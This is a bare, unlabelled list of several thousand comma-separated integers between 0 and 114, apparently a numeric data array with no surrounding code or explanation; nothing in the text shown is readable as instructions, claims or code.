102, 102, 104, 36, 96, 112, 0, 99, 109, 26, 105, 83, 100, 84, 73, 89, 0, 96, 101, 70, 78, 15, 83, 89, 98, 113, 96, 26, 10, 27, 95, 80, 84, 95, 111, 79, 80, 104, 107, 13, 107, 97, 92, 99, 15, 64, 8, 10, 100, 102, 10, 113, 29, 84, 29, 15, 103, 108, 94, 19, 8, 12, 110, 8, 79, 92, 73, 3, 95, 114, 10, 90, 72, 84, 1, 105, 3, 73, 27, 92, 89, 87, 95, 110, 80, 27, 70, 2, 85, 68, 90, 27, 88, 16, 8, 92, 81, 82, 77, 81, 104, 64, 103, 71, 1, 8, 98, 2, 114, 29, 97, 76, 79, 96, 89, 0, 85, 88, 69, 78, 93, 108, 16, 92, 107, 100, 108, 92, 88, 71, 99, 104, 3, 105, 78, 94, 70, 77, 113, 92, 10, 101, 87, 75, 112, 82, 10, 64, 77, 109, 79, 89, 73, 104, 90, 3, 77, 113, 19, 1, 71, 96, 85, 19, 82, 80, 89, 69, 81, 108, 109, 79, 113, 114, 96, 36, 114, 94, 13, 12, 96, 90, 3, 75, 36, 69, 107, 87, 64, 93, 102, 107, 77, 94, 93, 76, 75, 101, 94, 99, 29, 95, 19, 69, 92, 27, 27, 71, 80, 72, 17, 3, 36, 81, 75, 13, 100, 111, 113, 16, 110, 1, 101, 77, 68, 89, 88, 103, 26, 86, 100, 89, 29, 105, 92, 13, 86, 81, 77, 92, 84, 100, 15, 107, 101, 103, 81, 86, 10, 75, 90, 81, 72, 68, 84, 11, 78, 71, 87, 97, 76, 100, 96, 81, 76, 87, 16, 13, 17, 19, 12, 96, 112, 86, 75, 97, 104, 111, 99, 0, 15, 99, 12, 76, 96, 104, 27, 98, 100, 93, 27, 89, 76, 111, 15, 110, 16, 13, 96, 94, 10, 113, 106, 0, 19, 64, 106, 101, 114, 102, 82, 106, 103, 92, 84, 71, 1, 103, 102, 113, 93, 73, 10, 110, 102, 11, 27, 72, 1, 68, 15, 13, 102, 91, 13, 82, 100, 109, 78, 11, 36, 97, 85, 112, 100, 97, 27, 103, 107, 69, 69, 26, 102, 72, 101, 103, 89, 106, 108, 112, 68, 13, 13, 113, 76, 114, 85, 77, 114, 80, 111, 68, 72, 19, 89, 78, 113, 111, 113, 98, 94, 79, 100, 64, 101, 99, 90, 17, 93, 96, 80, 112, 91, 94, 96, 70, 26, 96, 111, 15, 113, 77, 1, 82, 13, 108, 0, 73, 102, 106, 92, 93, 107, 87, 77, 105, 83, 95, 95, 90, 12, 103, 100, 79, 87, 36, 108, 109, 84, 91, 0, 96, 83, 84, 68, 17, 11, 105, 3, 26, 83, 89, 95, 83, 106, 91, 71, 105, 64, 87, 73, 91, 16, 17, 27, 114, 10, 93, 87, 83, 89, 15, 17, 90, 86, 98, 88, 111, 73, 81, 16, 83, 101, 92, 88, 109, 108, 96, 83, 70, 29, 68, 79, 84, 85, 12, 97, 93, 86, 92, 8, 10, 27, 68, 1, 69, 106, 97, 91, 103, 110, 111, 13, 95, 69, 107, 15, 85, 19, 68, 100, 19, 97, 13, 96, 27, 71, 26, 84, 87, 16, 64, 13, 19, 13, 1, 108, 112, 10, 103, 109, 109, 68, 12, 16, 73, 16, 102, 88, 73, 108, 110, 72, 11, 64, 76, 3, 10, 80, 111, 99, 107, 91, 15, 102, 101, 29, 113, 84, 71, 80, 107, 10, 112, 90, 3, 72, 92, 11, 76, 75, 73, 104, 75, 100, 90, 106, 81, 100, 93, 91, 15, 102, 27, 102, 101, 107, 16, 3, 100, 88, 103, 90, 69, 0, 78, 36, 71, 19, 69, 91, 13, 83, 84, 81, 99, 36, 85, 93, 76, 11, 114, 73, 90, 110, 114, 108, 0, 85, 72, 15, 106, 85, 93, 92, 83, 27, 91, 95, 16, 90, 93, 15, 64, 26, 0, 114, 99, 104, 95, 91, 73, 110, 0, 88, 26, 99, 104, 36, 114, 19, 26, 17, 109, 69, 64, 89, 73, 10, 93, 11, 101, 94, 36, 2, 107, 96, 70, 94, 27, 71, 102, 71, 96, 13, 13, 70, 80, 36, 11, 69, 76, 73, 36, 93, 87, 86, 8, 89, 82, 111, 12, 89, 82, 101, 17, 11, 86, 19, 95, 71, 27, 89, 91, 69, 72, 89, 99, 99, 111, 79, 19, 93, 101, 13, 93, 8, 85, 2, 86, 17, 8, 13, 69, 109, 96, 110, 106, 70, 26, 103, 73, 86, 103, 85, 105, 83, 27, 92, 27, 82, 84, 88, 36, 88, 69, 107, 106, 2, 103, 73, 1, 107, 69, 68, 64, 89, 86, 97, 112, 29, 2, 75, 16, 103, 89, 82, 95, 107, 103, 17, 90, 83, 98, 0, 110, 93, 16, 17, 107, 114, 8, 1, 85, 29, 80, 90, 71, 95, 83, 10, 87, 111, 105, 110, 114, 106, 112, 93, 77, 11, 102, 93, 82, 13, 110, 111, 13, 97, 113, 15, 107, 108, 69, 81, 71, 68, 110, 73, 78, 108, 96, 10, 83, 107, 114, 84, 96, 92, 76, 91, 64, 16, 108, 69, 94, 105, 114, 91, 100, 100, 73, 98, 84, 92, 26, 69, 93, 93, 113, 11, 99, 69, 96, 94, 71, 99, 85, 78, 8, 114, 85, 87, 85, 108, 85, 78, 13, 8, 98, 97, 96, 103, 102, 27, 100, 110, 94, 3, 13, 110, 11, 0, 29, 106, 68, 113, 91, 101, 106, 79, 112, 89, 112, 99, 73, 105, 114, 78, 72, 89, 77, 113, 93, 83, 83, 88, 80, 108, 87, 96, 36, 100, 110, 81, 111, 100, 96, 17, 3, 84, 12, 10, 70, 12, 76, 27, 69, 93, 1, 70, 17, 105, 114, 10, 3, 76, 17, 89, 97, 101, 80, 93, 91, 96, 92, 64, 11, 84, 97, 95, 107, 70, 111, 75, 97, 82, 95, 93, 112, 84, 27, 8, 100, 84, 108, 108, 19, 111, 12, 98, 91, 69, 10, 84, 114, 11, 78, 81, 2, 29, 91, 13, 85, 98, 80, 68, 109, 108, 100, 36, 107, 70, 110, 10, 83, 114, 17, 19, 8, 104, 80, 93, 3, 17, 95, 87, 73, 76, 29, 110, 27, 73, 76, 113, 81, 109, 108, 72, 76, 69, 26, 88, 12, 101, 73, 108, 79, 8, 70, 83, 77, 81, 84, 96, 71, 13, 73, 85, 81, 16, 16, 99, 17, 84, 98, 86, 113, 17, 88, 101, 99, 68, 104, 19, 78, 106, 78, 80, 78, 10, 26, 114, 111, 111, 71, 109, 92, 0, 108, 72, 71, 111, 112, 102, 96, 109, 109, 85, 16, 91, 104, 101, 27, 70, 70, 99, 13, 70, 85, 91, 76, 36, 2, 8, 78, 101, 70, 0, 81, 26, 78, 114, 98, 109, 10, 103, 69, 80, 103, 94, 11, 76, 29, 10, 13, 98, 69, 85, 72, 16, 16, 100, 87, 70, 94, 17, 0, 10, 12, 104, 76, 29, 11, 69, 88, 16, 76, 85, 71, 80, 109, 27, 82, 71, 82, 76, 12, 70, 75, 109, 12, 26, 89, 104, 1, 101, 78, 104, 2, 17, 80, 10, 64, 0, 86, 79, 99, 0, 91, 84, 103, 29, 101, 93, 19, 83, 12, 112, 89, 19, 85, 64, 79, 19, 36, 36, 98, 70, 101, 0, 84, 29, 2, 17, 72, 15, 72, 83, 87, 94, 78, 109, 68, 102, 113, 73, 64, 102, 36, 92, 70, 104, 29, 98, 90, 99, 90, 12, 80, 81, 111, 88, 36, 19, 64, 101, 114, 87, 99, 64, 107, 96, 15, 89, 29, 1, 72, 76, 64, 70, 71, 75, 114, 73, 75, 29, 89, 86, 102, 27, 91, 103, 3, 26, 26, 110, 90, 29, 112, 92, 108, 8, 102, 75, 106, 98, 12, 27, 76, 84, 102, 96, 26, 11, 91, 15, 87, 83, 69, 64, 92, 73, 88, 29, 72, 78, 109, 68, 16, 75, 95, 98, 73, 70, 94, 72, 114, 99, 99, 2, 70, 113, 112, 106, 106, 0, 80, 106, 85, 2, 16, 88, 112, 16, 98, 101, 79, 72, 105, 12, 92, 95, 79, 77, 86, 64, 29, 82, 89, 69, 68, 71, 77, 3, 106, 8, 82, 11, 69, 89, 92, 99, 29, 0, 108, 88, 78, 29, 96, 90, 16, 36, 110, 36, 96, 27, 84, 19, 19, 91, 100, 15, 72, 97, 10, 94, 112, 19, 13, 98, 15, 77, 92, 104, 11, 99, 92, 77, 80, 99, 111, 84, 77, 96, 69, 11, 90, 111, 85, 91, 69, 1, 0, 79, 100, 108, 71, 72, 109, 103, 77, 12, 98, 93, 13, 85, 78, 71, 88, 113, 100, 103, 92, 114, 26, 99, 99, 77, 78, 12, 79, 80, 26, 29, 103, 78, 109, 27, 72, 69, 75, 70, 111, 78, 110, 71, 112, 69, 84, 82, 8, 87, 89, 71, 90, 110, 93, 81, 84, 16, 88, 80, 26, 19, 13, 92, 10, 101, 0, 83, 70, 103, 100, 100, 26, 70, 110, 94, 76, 91, 8, 100, 83, 110, 95, 113, 113, 109, 71, 69, 95, 104, 29, 108, 93, 100, 111, 80, 13, 8, 17, 91, 95, 107, 82, 13, 113, 108, 113, 12, 76, 81, 89, 85, 105, 101, 84, 88, 107, 26, 17, 12, 70, 71, 79, 99, 77, 17, 72, 70, 104, 3, 86, 83, 83, 69, 71, 71, 98, 75, 86, 68, 80, 113, 75, 77, 10, 111, 3, 112, 73, 83, 80, 102, 12, 90, 101, 88, 99, 89, 11, 77, 0, 100, 94, 97, 76, 102, 71, 87, 15, 11, 113, 26, 90, 97, 110, 99, 16, 101, 91, 19, 92, 88, 95, 83, 19, 27, 82, 84, 94, 105, 89, 87, 86, 11, 26, 101, 90, 87, 105, 108, 104, 73, 88, 15, 73, 16, 0, 98, 80, 93, 77, 64, 101, 78, 2, 1, 85, 19, 19, 112, 76, 68, 90, 89, 68, 113, 106, 111, 100, 107, 81, 102, 68, 72, 80, 11, 110, 89, 89, 95, 72, 81, 111, 79, 101, 81, 79, 72, 86, 11, 76, 102, 29, 82, 98, 96, 105, 93, 90, 3, 105, 12, 88, 78, 88, 90, 11, 87, 8, 10, 13, 2, 88, 114, 97, 98, 107, 79, 105, 76, 68, 104, 0, 101, 29, 89, 27, 94, 75, 69, 91, 1, 114, 102, 70, 85, 85, 99, 3, 90, 101, 0, 0, 80, 3, 69, 80, 95, 76, 84, 73, 99, 98, 78, 0, 105, 76, 91, 0, 78, 13, 89, 110, 111, 112, 8, 27, 89, 2, 17, 2, 71, 13, 2, 107, 99, 1, 27, 114, 113, 17, 80, 12, 114, 102, 80, 82, 13, 13, 78, 89, 76, 19, 85, 101, 103, 111, 101, 87, 97, 1, 93, 88, 1, 75, 101, 84, 68, 93, 93, 108, 85, 10, 97, 13, 73, 88, 0, 103, 16, 11, 73, 103, 87, 114, 71, 82, 78, 91, 100, 88, 2, 16, 3, 27, 13, 0, 79, 96, 83, 89, 87, 75, 70, 10, 81, 13, 86, 114, 88, 78, 13, 78, 106, 17, 71, 75, 11, 3, 101, 77, 102, 111, 104, 105, 8, 101, 101, 11, 96, 2, 105, 15, 108, 85, 107, 90, 81, 3, 82, 72, 19, 16, 10, 11, 88, 84, 114, 113, 113, 73, 112, 96, 94, 97, 98, 105, 72, 114, 84, 88, 82, 87, 16, 8, 81, 105, 69, 71, 94, 27, 110, 73, 92, 103, 98, 13, 96, 99, 98, 106, 85, 17, 69, 96, 99, 104, 89, 114, 70, 76, 13, 27, 93, 75, 107, 111, 77, 97, 81, 112, 88, 94, 10, 3, 97, 100, 8, 64, 29, 81, 16, 90, 88, 16, 113, 104, 109, 95, 95, 77, 86, 64, 93, 69, 90, 84, 90, 76, 78, 1, 102, 85, 108, 107, 19, 87, 87, 95, 68, 110, 84, 84, 27, 103, 82, 94, 107, 95, 105, 93, 91, 93, 105, 100, 77, 73, 77, 85, 114, 109, 3, 68, 101, 112, 13, 13, 107, 71, 68, 99, 78, 112, 16, 83, 3, 89, 96, 85, 98, 15, 112, 114, 87, 36, 107, 84, 89, 107, 102, 2, 110, 112, 8, 98, 85, 11, 93, 89, 109, 71, 79, 96, 106, 12, 86, 70, 91, 97, 81, 3, 27, 105, 103, 90, 84, 100, 76, 1, 79, 95, 26, 78, 114, 108, 81, 84, 80, 87, 101, 110, 82, 103, 77, 102, 84, 94, 8, 73, 79, 108, 92, 97, 19, 88, 82, 105, 89, 1, 71, 13, 98, 8, 81, 3, 26, 93, 102, 103, 100, 84, 111, 107, 79, 17, 82, 114, 83, 73, 79, 87, 3, 27, 2, 12, 8, 15, 77, 19, 69, 92, 111, 79, 114, 109, 26, 103, 90, 104, 110, 64, 105, 27, 83, 68, 8, 92, 36, 11, 107, 113, 94, 98, 105, 98, 69, 17, 78, 10, 104, 114, 106, 111, 93, 17, 72, 79, 97, 84, 69, 64, 70, 97, 96, 3, 85, 84, 90, 12, 109, 69, 90, 100, 26, 19, 72, 90, 0, 10, 111, 27, 2, 80, 111, 81, 78, 80, 92, 36, 97, 26, 87, 36, 12, 96, 111, 36, 26, 101, 77, 103, 92, 19, 15, 19, 91, 68, 109, 73, 111, 16, 27, 111, 105, 82, 112, 3, 100, 69, 11, 100, 11, 85, 100, 92, 81, 111, 81, 79, 68, 93, 90, 100, 83, 68, 2, 11, 103, 68, 89, 78, 76, 89, 94, 69, 79, 82, 92, 96, 3, 82, 17, 88, 29, 103, 12, 112, 13, 26, 114, 110, 96, 110, 94, 10, 109, 73, 93, 15, 89, 94, 88, 78, 89, 0, 26, 26, 94, 26, 106, 77, 108, 93, 104, 95, 100, 86, 110, 88, 19, 19, 89, 104, 89, 111, 101, 78, 98, 89, 92, 89, 73, 88, 108, 109, 112, 78, 11, 80, 19, 78, 71, 17, 106, 105, 70, 0, 86, 95, 106, 87, 114, 88, 102, 76, 108, 97, 0, 99, 101, 91, 19, 90, 106, 106, 16, 2, 13, 108, 64, 75, 27, 85, 106, 13, 82, 69, 106, 78, 82, 12, 95, 92, 84, 107, 71, 93, 97, 79, 73, 95, 100, 102, 36, 113, 73, 86, 106, 29, 16, 17, 12, 99, 98, 70, 3, 90, 26, 80, 78, 104, 80, 92, 0, 107, 36, 76, 89, 109, 77, 103, 11, 71, 10, 102, 109, 95, 94, 17, 80, 26, 92, 84, 16, 102, 93, 86, 80, 92, 100, 102, 68, 12, 36, 102, 108, 108, 78, 97, 89, 82, 109, 70, 76, 92, 93, 83, 85, 88, 89, 85, 17, 96, 93, 98, 76, 3, 19, 102, 79, 10, 19, 77, 89, 71, 101, 100, 10, 64, 77, 11, 68, 64, 95, 29, 11, 87, 80, 111, 0, 73, 0, 81, 70, 109, 11, 36, 10, 92, 103, 112, 83, 19, 13, 80, 98, 95, 1, 85, 86, 19, 11, 91, 68, 71, 78, 11, 15, 72, 8, 36, 16, 69, 93, 110, 13, 80, 94, 112, 99, 94, 0, 111, 0, 89, 106, 77, 92, 112, 76, 114, 102, 89, 80, 93, 73, 114, 76, 102, 19, 0, 104, 104, 86, 109, 97, 83, 112, 64, 8, 70, 86, 92, 29, 104, 77, 110, 100, 103, 90, 106, 80, 76, 68, 80, 98, 13, 102, 26, 95, 81, 70, 95, 87, 96, 101, 16, 75, 82, 114, 98, 114, 70, 91, 70, 19, 79, 102, 95, 114, 107, 8, 101, 19, 92, 103, 92, 3, 91, 3, 85, 1, 114, 91, 83, 104, 19, 102, 111, 84, 88, 27, 27, 10, 98, 1, 19, 113, 76, 75, 77, 110, 99, 78, 29, 103, 80, 96, 105, 71, 105, 3, 15, 13, 82, 88, 109, 71, 13, 107, 2, 92, 0, 71, 19, 64, 94, 29, 92, 8, 104, 80, 69, 101, 87, 94, 75, 27, 2, 99, 102, 90, 72, 81, 27, 95, 72, 92, 107, 101, 70, 101, 92, 86, 11, 103, 98, 10, 89, 70, 16, 68, 109, 27, 2, 104, 75, 70, 96, 102, 111, 105, 10, 96, 89, 79, 79, 96, 100, 15, 8, 82, 83, 69, 11, 91, 81, 100, 96, 94, 16, 0, 93, 88, 101, 108, 105, 111, 29, 29, 1, 78, 105, 68, 11, 64, 64, 0, 100, 104, 75, 81, 77, 81, 100, 11, 16, 86, 2, 108, 79, 2, 8, 77, 12, 113, 72, 104, 78, 68, 16, 72, 0, 108, 13, 91, 69, 8, 89, 36, 93, 27, 110, 113, 108, 108, 13, 86, 27, 111, 110, 64, 75, 79, 80, 109, 92, 36, 93, 78, 79, 36, 0, 111, 13, 10, 77, 78, 103, 71, 89, 2, 113, 88, 113, 80, 98, 13, 94, 108, 106, 12, 2, 26, 3, 64, 72, 97, 0, 92, 107, 8, 17, 13, 84, 111, 79, 84, 98, 70, 15, 85, 15, 111, 69, 2, 17, 110, 99, 113, 90, 69, 3, 29, 85, 0, 114, 29, 27, 72, 99, 87, 29, 104, 1, 10, 0, 68, 93, 8, 64, 104, 91, 102, 75, 29, 77, 111, 0, 113, 110, 3, 10, 95, 88, 87, 72, 16, 70, 13, 85, 113, 86, 106, 27, 83, 2, 36, 101, 73, 73, 17, 11, 106, 70, 27, 68, 108, 111, 92, 68, 102, 13, 69, 97, 70, 0, 82, 90, 86, 86, 12, 89, 17, 98, 86, 76, 88, 97, 88, 98, 99, 26, 19, 100, 94, 92, 26, 114, 19, 8, 98, 72, 29, 76, 19, 10, 64, 86, 110, 72, 109, 75, 114, 85, 103, 104, 87, 114, 76, 104, 13, 105, 85, 69, 85, 102, 77, 86, 29, 8, 1, 13, 69, 99, 1, 81, 103, 109, 109, 1, 81, 36, 2, 87, 101, 26, 82, 79, 71, 97, 109, 104, 76, 105, 27, 19, 86, 71, 76, 79, 80, 13, 112, 79, 19, 101, 84, 93, 90, 100, 99, 19, 88, 79, 75, 16, 89, 64, 91, 90, 95, 13, 101, 95, 106, 80, 77, 110, 36, 64, 69, 71, 73, 1, 88, 96, 69, 97, 94, 93, 79, 2, 103, 82, 83, 69, 102, 27, 64, 0, 19, 3, 77, 16, 76, 89, 89, 112, 73, 15, 90, 15, 104, 89, 92, 80, 99, 79, 111, 19, 12, 75, 81, 110, 15, 73, 97, 100, 64, 92, 98, 94, 2, 27, 95, 16, 113, 91, 15, 15, 77, 77, 80, 83, 101, 99, 83, 8, 83, 100, 91, 81, 100, 79, 108, 2, 85, 106, 95, 17, 16, 81, 75, 71, 26, 88, 108, 70, 93, 111, 75, 110, 10, 72, 92, 91, 79, 80, 26, 76, 113, 92, 97, 76, 82, 12, 97, 2, 80, 85, 78, 83, 105, 75, 84, 94, 108, 1, 71, 110, 102, 95, 64, 26, 89, 16, 76, 72, 15, 26, 12, 12, 19, 75, 27, 82, 1, 96, 16, 17, 96, 95, 95, 2, 71, 98, 8, 91, 113, 99, 2, 112, 76, 107, 110, 99, 88, 8, 102, 86, 12, 27, 86, 87, 1, 8, 83, 104, 102, 82, 83, 87, 83, 8, 99, 8, 17, 100, 113, 106, 93, 3, 99, 109, 12, 85, 80, 107, 86, 1, 13, 12, 8, 89, 102, 75, 79, 70, 101, 98, 91, 27, 71, 12, 89, 85, 71, 103, 90, 3, 100, 107, 92, 80, 97, 89, 82, 112, 84, 111, 80, 8, 83, 80, 76, 84, 76, 80, 76, 72, 97, 95, 8, 2, 1, 113, 111, 70, 112, 64, 100, 2, 111, 73, 102, 71, 90, 71, 112, 81, 11, 71, 104, 106, 77, 70, 95, 79, 104, 8, 82, 89, 98, 68, 88, 96, 11, 15, 85, 101, 109, 80, 98, 109, 94, 108, 64, 101, 92, 104, 73, 113, 97, 109, 104, 109, 102, 12, 90, 70, 84, 108, 84, 84, 98, 15, 100, 26, 89, 26, 73, 2, 96, 17, 2, 2, 109, 94, 17, 73, 71, 0, 3, 105, 77, 26, 97, 106, 95, 15, 113, 105, 10, 26, 2, 64, 83, 82, 29, 105, 76, 86, 3, 64, 10, 69, 3, 93, 97, 111, 81, 78, 103, 79, 75, 71, 94, 78, 27, 97, 72, 105, 83, 85, 87, 99, 97, 77, 77, 85, 83, 13, 0, 12, 10, 8, 82, 92, 36, 113, 105, 102, 98, 89, 91, 36, 91, 103, 79, 103, 88, 73, 113, 112, 75, 112, 72, 15, 19, 80, 79, 79, 114, 113, 105, 29, 105, 80, 92, 1, 11, 0, 19, 15, 1, 71, 100, 73, 81, 1, 36, 71, 93, 109, 79, 99, 87, 97, 86, 108, 104, 88, 88, 95, 100, 86, 84, 8, 16, 114, 8, 98, 3, 93, 109, 89, 107, 89, 92, 100, 84, 29, 103, 105, 36, 0, 103, 94, 85, 112, 19, 77, 84, 77, 89, 111, 112, 103, 98, 70, 110, 27, 112, 82, 99, 68, 89, 8, 81, 73, 112, 27, 79, 77, 113, 36, 76, 19, 2, 83, 101, 102, 107, 98, 11, 82, 73, 102, 94, 102, 101, 12, 97, 94, 104, 12, 91, 94, 100, 36, 110, 77, 87, 96, 27, 29, 78, 70, 109, 26, 73, 15, 84, 85, 72, 97, 110, 88, 86, 64, 101, 85, 90, 1, 97, 76, 75, 104, 110, 71, 16, 71, 112, 91, 0, 99, 27, 102, 79, 12, 96, 92, 86, 85, 11, 11, 36, 114, 102, 79, 68, 85, 64, 29, 108, 17, 13, 102, 111, 79, 13, 87, 89, 3, 106, 102, 89, 69, 84, 92, 73, 100, 69, 72, 19, 19, 72, 12, 89, 70, 98, 109, 108, 93, 107, 68, 114, 10, 103, 86, 113, 110, 104, 76, 70, 64, 64, 77, 29, 3, 97, 83, 0, 8, 106, 111, 84, 95, 64, 104, 80, 110, 95, 94, 73, 107, 109, 36, 73, 112, 19, 94, 16, 114, 88, 80, 73, 103, 76, 27, 19, 85, 70, 97, 27, 88, 87, 86, 27, 78, 83, 92, 27, 19, 110, 0, 92, 92, 68, 19, 12, 86, 112, 82, 85, 102, 64, 99, 16, 81, 87, 101, 88, 75, 80, 105, 27, 84, 103, 75, 83, 81, 104, 78, 110, 19, 97, 26, 112, 86, 99, 69, 64, 100, 87, 73, 1, 85, 107, 71, 71, 88, 15, 110, 83, 68, 36, 88, 8, 114, 17, 107, 99, 71, 71, 93, 96, 71, 90, 91, 113, 13, 76, 96, 64, 16, 64, 85, 93, 36, 89, 26, 3, 114, 27, 72, 26, 91, 85, 105, 87, 29, 106, 110, 17, 99, 113, 88, 97, 110, 36, 108, 8, 27, 29, 107, 101, 106, 71, 12, 99, 99, 89, 0, 79, 1, 72, 2, 81, 80, 17, 0, 83, 27, 102, 79, 114, 103, 92, 64, 70, 91, 70, 2, 73, 86, 27, 91, 27, 84, 64, 69, 17, 107, 0, 64, 17, 104, 108, 104, 19, 79, 92, 17, 95, 105, 19, 15, 76, 13, 82, 99, 17, 76, 107, 73, 80, 83, 103, 72, 107, 88, 99, 12, 76, 94, 109, 111, 106, 91, 85, 109, 64, 64, 13, 85, 2, 98, 27, 110, 36, 102, 11, 79, 88, 85, 113, 108, 27, 83, 90, 111, 107, 73, 107, 105, 91, 17, 93, 3, 98, 104, 36, 93, 108, 108, 79, 85, 36, 29, 112, 70, 110, 12, 13, 73, 8, 94, 15, 68, 68, 102, 94, 86, 83, 81, 82, 10, 13, 113, 91, 101, 87, 114, 91, 101, 101, 91, 78, 81, 107, 82, 89, 13, 87, 101, 76, 68, 26, 108, 85, 72, 82, 70, 75, 8, 64, 12, 8, 94, 108, 89, 103, 103, 3, 83, 3, 114, 64, 77, 27, 69, 103, 64, 90, 112, 70, 86, 99, 112, 36, 96, 12, 1, 111, 112, 79, 105, 100, 83, 12, 111, 81, 89, 12, 75, 10, 98, 99, 1, 12, 89, 103, 77, 27, 93, 13, 81, 91, 76, 64, 68, 73, 90, 81, 81, 108, 76, 107, 91, 15, 19, 89, 103, 69, 109, 19, 3, 93, 90, 105, 86, 29, 89, 3, 36, 93, 106, 68, 102, 69, 100, 113, 95, 79, 13, 100, 88, 85, 107, 80, 112, 72, 70, 101, 103, 27, 79, 84, 70, 109, 85, 78, 114, 78, 84, 73, 112, 68, 110, 84, 15, 15, 16, 77, 90, 110, 112, 107, 85, 2, 88, 94, 87, 84, 3, 11, 112, 91, 93, 85, 2, 110, 111, 71, 96, 17, 15, 82, 17, 72, 12, 92, 88, 16, 12, 64, 85, 90, 102, 78, 26, 69, 86, 19, 93, 26, 19, 100, 86, 15, 93, 78, 11, 106, 109, 16, 76, 77, 99, 111, 94, 79, 108, 93, 97, 73, 64, 72, 8, 82, 0, 97, 98, 84, 101, 107, 86, 12, 69, 94, 73, 105, 108, 77, 13, 87, 10, 12, 64, 103, 86, 100, 106, 13, 110, 3, 90, 97, 29, 77, 73, 83, 75, 64, 13, 11, 113, 11, 87, 103, 3, 68, 12, 92, 113, 110, 111, 68, 68, 105, 110, 110, 13, 73, 98, 12, 85, 3, 11, 112, 76, 94, 13, 93, 2, 106, 85, 75, 107, 76, 3, 12, 1, 108, 114, 3, 80, 78, 107, 101, 71, 72, 2, 86, 79, 83, 99, 107, 1, 80, 36, 19, 85, 86, 85, 13, 83, 103, 96, 29, 93, 64, 111, 82, 113, 84, 71, 114, 90, 109, 17, 92, 29, 13, 72, 27, 81, 72, 91, 111, 109, 98, 3, 72, 90, 27, 84, 77, 89, 94, 98, 104, 79, 84, 82, 100, 17, 89, 84, 16, 102, 73, 19, 112, 10, 75, 84, 80, 29, 100, 114, 19, 8, 1, 102, 17, 77, 19, 96, 114, 112, 1, 106, 85, 91, 85, 108, 82, 110, 81, 110, 109, 102, 114, 96, 110, 78, 78, 104, 97, 92, 26, 87, 106, 100, 89, 1, 81, 26, 80, 71, 16, 82, 89, 76, 77, 71, 13, 87, 68, 96, 1, 0, 10, 16, 75, 81, 77, 86, 1, 92, 13, 73, 98, 98, 107, 8, 92, 68, 2, 15, 102, 12, 68, 86, 96, 105, 97, 64, 87, 68, 13, 78, 107, 77, 101, 114, 81, 0, 1, 105, 97, 2, 96, 105, 85, 3, 97, 108, 0, 92, 78, 100, 106, 71, 97, 2, 113, 82, 84, 106, 12, 90, 94, 11, 114, 98, 96, 98, 73, 70, 113, 108, 102, 95, 73, 8, 113, 89, 12, 108, 82, 86, 105, 104, 90, 79, 68, 108, 92, 114, 109, 105, 80, 2, 81, 79, 64, 95, 76, 12, 11, 17, 96, 102, 108, 89, 77, 11, 78, 107, 36, 109, 102, 10, 1, 111, 93, 10, 73, 87, 95, 102, 87, 15, 100, 89, 80, 102, 101, 103, 112, 78, 106, 91, 88, 2, 90, 13, 1, 12, 92, 80, 71, 15, 16, 96, 95, 88, 86, 11, 12, 15, 96, 94, 104, 64, 114, 3, 96, 96, 98, 15, 64, 94, 93, 86, 107, 93, 91, 76, 87, 64, 10, 71, 100, 75, 36, 64, 113, 89, 87, 11, 80, 96, 70, 29, 71, 86, 85, 105, 97, 13, 100, 81, 19, 15, 111, 15, 79, 83, 64, 112, 93, 90, 72, 72, 8, 8, 97, 87, 103, 80, 69, 94, 76, 114, 79, 86, 108, 2, 75, 110, 101, 29, 98, 93, 93, 113, 88, 81, 80, 0, 106, 111, 86, 70, 82, 10, 15, 78, 1, 108, 104, 91, 76, 0, 36, 73, 69, 111, 10, 75, 69, 87, 96, 77, 102, 93, 2, 82, 0, 77, 95, 96, 29, 78, 101, 107, 99, 29, 71, 36, 89, 85, 113, 79, 10, 80, 13, 100, 106, 81, 68, 78, 78, 107, 17, 92, 107, 109, 19, 111, 78, 0, 77, 101, 77, 64, 114, 36, 87, 89, 36, 87, 27, 110, 103, 79, 27, 16, 19, 111, 13, 86, 88, 83, 13, 26, 113, 78, 96, 100, 76, 87, 111, 16, 104, 113, 69, 8, 93, 36, 91, 3, 91, 103, 12, 2, 95, 98, 16, 85, 10, 105, 98, 8, 111, 95, 101, 19, 36, 12, 12, 111, 91, 105, 93, 70, 96, 114, 104, 83, 71, 105, 76, 71, 26, 114, 92, 93, 17, 93, 99, 75, 17, 103, 105, 101, 19, 87, 68, 81, 86, 95, 109, 95, 106, 103, 109, 87, 15, 113, 103, 13, 90, 16, 80, 106, 96, 79, 105, 79, 95, 17, 73, 95, 98, 64, 64, 78, 84, 109, 83, 12, 94, 15, 111, 1, 72, 97, 12, 88, 10, 108, 100, 105, 99, 64, 83, 76, 68, 102, 87, 99, 26, 76, 13, 81, 97, 68, 107, 13, 36, 100, 106, 11, 110, 0, 8, 16, 111, 71, 84, 113, 91, 106, 101, 81, 26, 27, 8, 90, 16, 102, 11, 0, 75, 13, 88, 112, 94, 76, 69, 103, 112, 111, 89, 36, 73, 36, 103, 69, 0, 13, 72, 69, 109, 78, 108, 113, 89, 107, 72, 89, 83, 96, 69, 98, 108, 76, 92, 19, 88, 103, 83, 79, 3, 86, 69, 101, 98, 26, 90, 90, 107, 2, 113, 96, 3, 26, 101, 80, 105, 99, 1, 97, 77, 89, 94, 81, 100, 15, 91, 3, 105, 68, 100, 95, 99, 73, 91, 93, 114, 106, 69, 36, 107, 0, 89, 87, 15, 8, 68, 98, 29, 64, 112, 95, 69, 12, 95, 100, 83, 76, 91, 99, 84, 1, 11, 93, 103, 64, 94, 75, 98, 77, 17, 103, 72, 72, 70, 8, 84, 3, 100, 102, 104, 70, 101, 3, 1, 10, 1, 91, 102, 108, 12, 12, 8, 101, 17, 81, 114, 95, 93, 11, 29, 72, 82, 78, 17, 75, 90, 16, 86, 88, 16, 114, 93, 0, 101, 112, 0, 108, 36, 99, 98, 108, 2, 94, 2, 99, 110, 102, 76, 114, 113, 98, 80, 106, 104, 82, 2, 27, 90, 71, 11, 98, 83, 92, 75, 1, 109, 80, 8, 82, 101, 112, 113, 89, 106, 99, 78, 19, 86, 81, 101, 101, 73, 12, 103, 90, 15, 112, 89, 16, 93, 69, 84, 108, 87, 64, 90, 36, 1, 79, 70, 98, 17, 114, 110, 26, 108, 96, 15, 69, 1, 11, 19, 114, 90, 110, 109, 84, 88, 0, 106, 85, 105, 70, 104, 10, 88, 71, 68, 91, 27, 29, 105, 109, 16, 13, 84, 87, 72, 97, 105, 26, 75, 114, 104, 79, 8, 100, 114, 104, 106, 99, 75, 100, 29, 104, 76, 89, 82, 110, 102, 111, 36, 75, 26, 79, 88, 83, 89, 101, 0, 69, 78, 36, 94, 101, 27, 103, 